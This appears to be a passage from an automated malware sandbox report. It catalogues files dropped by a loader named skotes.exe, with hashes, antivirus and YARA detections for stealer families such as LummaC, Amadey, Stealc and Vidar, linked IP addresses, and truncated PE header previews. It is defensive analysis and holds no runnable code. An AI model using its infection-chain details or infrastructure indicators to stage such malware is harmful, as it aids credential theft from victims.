	mirabon.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	172.67.131.246 104.21.67.146
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	172.67.131.246 104.21.67.146

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\44098beb09.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:ML9E4Ke84qXKDE4KhKiKhIE4Ks
MD5:	783B5197F36053BBA046C2EF2515F80E
SHA1:	49CB890E4C6536FD79EF1C7BE83949509B37A824
SHA-256:	9513A3E5E55C5471F606E5E0B06C46CD4E357F46602BBF43F24E1E70572F5F91
SHA-512:	6ACD461D38A8F665E6CF4B585B720ABEB0B3F8556C817E576991DF758D9FFE68479B2E634EB60223C7B7909F34C7A1853F13F0CEE3CB4F7C5951228A91BE24C4
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\d3ba7fdf70.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1058
Entropy (8bit):	5.356262093008712
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeR:MxHKlYHKh3owH8tHo6hAHKzeR
MD5:	B2EFBF032531DD2913F648E75696B0FD
SHA1:	3F1AC93E4C10AE6D48E6CE1745D23696FD6554F6
SHA-256:	4E02B680F9DAB8F04F2443984B5305541F73B52A612129FCD8CC0C520C831E4B
SHA-512:	79430DB7C12536BDC06F21D130026A72F97BB03994CE2F718F82BB9ACDFFCA926F1292100B58B0C788BDDF739E87965B8D46C8F003CF5087F75BEFDC406295BC
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: random.exe.7.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: AWrVzd6XpC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2016256
Entropy (8bit):	7.9522106040672496
Encrypted:	false
SSDEEP:	49152:AWn34fo/0QHHSNxySc46T+TEfSx5mY+3ha2Hk+8kkD:AeIuHIMScHT2F3mYevE2k
MD5:	89D52C06DE454745F595A572867544F4
SHA1:	C7E23DED121DA98DC8BB38C38F9A227ABB026159
SHA-256:	E7C150107B5DF129C5781447B1D7E86B2666C0BA43B7A82B1428FCDBE2777704
SHA-512:	459D616724BF813436184106E6FE9B53C17095AB0D8E0F1E7FBA7A35826D7A31B4B92108AB06F07E43690C3A27F280AFE57419D3E2D150F15CA3414A3059AB7A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........M...........@..........................0M.....gX....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..*..........V..............@...ptoytgwv.P....2..D...X..............@...lvwbjizx......L.....................@....taggant.0....M.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.336742061370928
Encrypted:	false
SSDEEP:	384:JiynHMEyyp/He7ik+KcJB669mNPBqVgYERHtNNVYISZS1d7RroV5:PHvtm7ik+KcJB6jRHkISZShkn
MD5:	14BECDF1E2402E9AA6C2BE0E6167041E
SHA1:	72CBBAE6878F5E06060A0038B25EDE93B445F0DF
SHA-256:	7A769963165063758F15F6E0CECE25C9D13072F67FA0D3C25A03A5104FE0783A
SHA-512:	16B837615505F352E134AFD9D8655C9CABFA5BFCFBEE2C0C34F2D7D9588AA71F875E4E5FEB8CDF0F7BACC00F7C1CA8DABD3B3D92AFC99ABF705C05C78E298B4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...pm;..........."...0..J..........:i... ........@.. ....................................`..................................h..O...................................Th..8............................................ ............... ..H............text...@I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B.................i......H........6..p1...........................................................0..8.......s2.....(....}<.....}=.....};....\|<.....(...+.\|<...(.....0..P........~.........,B.r...p(.....rc..p(.....(.....r...p.(....(......(....o......(.......0..8.......s,.....(....}......}......}.....\|......(...+.\|....(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1753088
Entropy (8bit):	7.989431859101435
Encrypted:	false
SSDEEP:	49152:RMYe8CTUHTwgGScdZsdbcPcPwBU19xW4Jdmpwvw3k:OYexTGTTGbdZZElFJWR3k
MD5:	F56CE0D12E44AFA8B403680EC25BDB57
SHA1:	C589C431B3606ACD0DF69798E53AA4D5A9DB8624
SHA-256:	14F9D2493BF7DB72479840431A60B598D8513A894AF755504465F0CB9D7DB7CB
SHA-512:	FE01B6035265B1D354C45716BB8E4572F0A45252FE3D9955E40F17FD69FBF507771873CD93F20F4B530398FD0F968F5919FE4A102C7CD8FC6E1CDF53E6B260D2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@................................".E...@... ............................._.a.s.....a.....................8..................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... .`:...a......R(.............@...upzhrybt.............T(.............@...ibjofqmg..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1880576
Entropy (8bit):	7.947827107801024
Encrypted:	false
SSDEEP:	49152:ZRGDbjz7g+LRMpnd6dc8dwpW+8cYsjL1i:ZRGDrky0nd6dcmUT8AjL1i
MD5:	FF279F4E5B1C6FBDA804D2437C2DBDC8
SHA1:	2FEB3762C877A5AE3CA60EEEBC37003AD0844245
SHA-256:	E115298AB160DA9C7A998E4AE0B72333F64B207DA165134CA45EB997A000D378
SHA-512:	C7A8BBCB122B2C7B57C8B678C5EED075EE5E7C355AFBF86238282D2D3458019DA1A8523520E1A1C631CD01B555F7DF340545FD1E44AD678DC97C40B23428F967
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................0J...........@..........................`J.....i.....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...xnuzvlhe.0..../......^..............@...tzuttanx..... J.....................@....taggant.0...0J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379512790514627
Encrypted:	false
SSDEEP:	48:5WSU4xympgv4RIoUP7gZ9tK8NPZHUx7u1iMugeC/ZPUyus:5LHxv2IfLZ2KRH6Oug8s
MD5:	F926D2187C9E148A9D6D1A1EEE4292C0
SHA1:	AC69A678F122D3672F69BFBB9705AC91443FD9EE
SHA-256:	D41915184C4123EA3F4C75D89B61917EF6ACB5F2FB3C1C47FBFA005DA44E55FA
SHA-512:	8E8BED3CEF9CD76680D83A126E25CA0FBDD8EC868971EF38079C3E885EAB2474EDD085CAEE65CAF27F5BD1B327339500426058F9D37FF69B5FBC08709C3F1D31
Malicious:	false
Preview:	@...e.................................\|..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1880576
Entropy (8bit):	7.947827107801024
Encrypted:	false
SSDEEP:	49152:ZRGDbjz7g+LRMpnd6dc8dwpW+8cYsjL1i:ZRGDrky0nd6dcmUT8AjL1i
MD5:	FF279F4E5B1C6FBDA804D2437C2DBDC8
SHA1:	2FEB3762C877A5AE3CA60EEEBC37003AD0844245
SHA-256:	E115298AB160DA9C7A998E4AE0B72333F64B207DA165134CA45EB997A000D378
SHA-512:	C7A8BBCB122B2C7B57C8B678C5EED075EE5E7C355AFBF86238282D2D3458019DA1A8523520E1A1C631CD01B555F7DF340545FD1E44AD678DC97C40B23428F967
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................0J...........@..........................`J.....i.....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...xnuzvlhe.0..../......^..............@...tzuttanx..... J.....................@....taggant.0...0J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2016256
Entropy (8bit):	7.9522106040672496
Encrypted:	false
SSDEEP:	49152:AWn34fo/0QHHSNxySc46T+TEfSx5mY+3ha2Hk+8kkD:AeIuHIMScHT2F3mYevE2k
MD5:	89D52C06DE454745F595A572867544F4
SHA1:	C7E23DED121DA98DC8BB38C38F9A227ABB026159
SHA-256:	E7C150107B5DF129C5781447B1D7E86B2666C0BA43B7A82B1428FCDBE2777704
SHA-512:	459D616724BF813436184106E6FE9B53C17095AB0D8E0F1E7FBA7A35826D7A31B4B92108AB06F07E43690C3A27F280AFE57419D3E2D150F15CA3414A3059AB7A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........M...........@..........................0M.....gX....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..*..........V..............@...ptoytgwv.P....2..D...X..............@...lvwbjizx......L.....................@....taggant.0....M.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.336742061370928
Encrypted:	false
SSDEEP:	384:JiynHMEyyp/He7ik+KcJB669mNPBqVgYERHtNNVYISZS1d7RroV5:PHvtm7ik+KcJB6jRHkISZShkn
MD5:	14BECDF1E2402E9AA6C2BE0E6167041E
SHA1:	72CBBAE6878F5E06060A0038B25EDE93B445F0DF
SHA-256:	7A769963165063758F15F6E0CECE25C9D13072F67FA0D3C25A03A5104FE0783A
SHA-512:	16B837615505F352E134AFD9D8655C9CABFA5BFCFBEE2C0C34F2D7D9588AA71F875E4E5FEB8CDF0F7BACC00F7C1CA8DABD3B3D92AFC99ABF705C05C78E298B4A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...pm;..........."...0..J..........:i... ........@.. ....................................`..................................h..O...................................Th..8............................................ ............... ..H............text...@I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B.................i......H........6..p1...........................................................0..8.......s2.....(....}<.....}=.....};....\|<.....(...+.\|<...(.....0..P........~.........,B.r...p(.....rc..p(.....(.....r...p.(....(......(....o......(.......0..8.......s,.....(....}......}......}.....\|......(...+.\|....(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
